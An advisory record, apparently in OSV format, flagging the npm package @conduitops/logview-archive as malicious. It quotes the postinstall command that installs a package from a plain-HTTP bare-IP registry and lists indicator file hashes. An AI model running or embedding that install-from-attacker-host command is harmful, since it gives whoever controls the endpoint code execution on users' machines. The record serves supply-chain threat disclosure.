@conduitops/logview-archive

{"schema_version":"1.7.4","id":"MAL-2026-18183","published":"2026-10-22T06:10:48Z","modified":"2026-11-02T03:16:20.345766880Z","summary":"Malicious code in @conduitops/logview-archive (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (28d0b0e9770a9db54aa03ba508bea0ed1b7ff5fc76ab28a472f09e7a8af088c7)\nOn install, package.json's postinstall runs node install.js, which reads lib/toolchain.json and executes `npm install @conduit/logview-cli@2.2.0 --registry http://139.196.94.195:8080/dl/npm/` into vendor/. The registry is plain HTTP on a bare IP (139.196.94.195:8080, Alibaba Cloud range) that does not match the publisher infrastructure declared in package.json (repository/homepage/bugs under *.conduit.internal, maintainer platform-ops@conduit.internal). The fetched package is also in a different scope (@conduit) than the host package (@conduitops), compounding dependency-confusion exposure. npm will download and execute whatever that host serves — including any lifecycle scripts of the fetched tarball — with no TLS verification and no integrity check, giving whoever controls that endpoint (or any on-path attacker) arbitrary code execution on the installer at install time.\n","affected":[{"package":{"name":"@conduitops/logview-archive","ecosystem":"npm"},"versions":["1.0.1","1.0.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"install.js","sha256":"0d11efbb0880f2b9f3d4c8f073cf4ddddb105badc34ffaed48ae76d59a0609a8","tlsh":"2891658b55e592361ed345ba764f80067207d06a1258ee54f0cdc3f5bf1913ccab39da"},{"path":"lib/origin.js","sha256":"4a2485296ad2178b7bf07ebba6d13b300728582dd9ca673aa3e262d46e49c44e","tlsh":"bc31319b2fb553258282456e13cda9c3b7aa92793439c5c5a4e503a84f044f802b3df8"}],"package_integrity":[{"filename":"logview-archive-1.0.1.tgz","hashes":{"sha1":"0b49478bb2f4e40d6e34adee09daa9c8f8c73fc8","sha512_sri":"sha512-WVaGiqCSOkepoyxB63XRBXFFyhA3Y1sfHw9ijcHgc4v6c6sCei+3FwNsQRCZfhrwwjT211rz/W3j4IoHy2mG4A=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/@conduitops/logview-archive/v/1.0.1"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/@conduitops/logview-archive/v/1.0.0"}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-021570","import_time":"2026-10-22T06:30:24.038889636Z","modified_time":"2026-10-22T06:10:48Z","sha256":"f20036e315be6c5dd925bdedc87120af27adb007a4c2b6653c95cb386acd9009","source":"amazon-inspector","versions":["1.0.1"]},{"id":"IN-MAL-2026-022481","import_time":"2026-11-02T03:15:08.918232327Z","modified_time":"2026-11-02T02:44:55Z","sha256":"28d0b0e9770a9db54aa03ba508bea0ed1b7ff5fc76ab28a472f09e7a8af088c7","source":"amazon-inspector","versions":["1.0.0"]}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}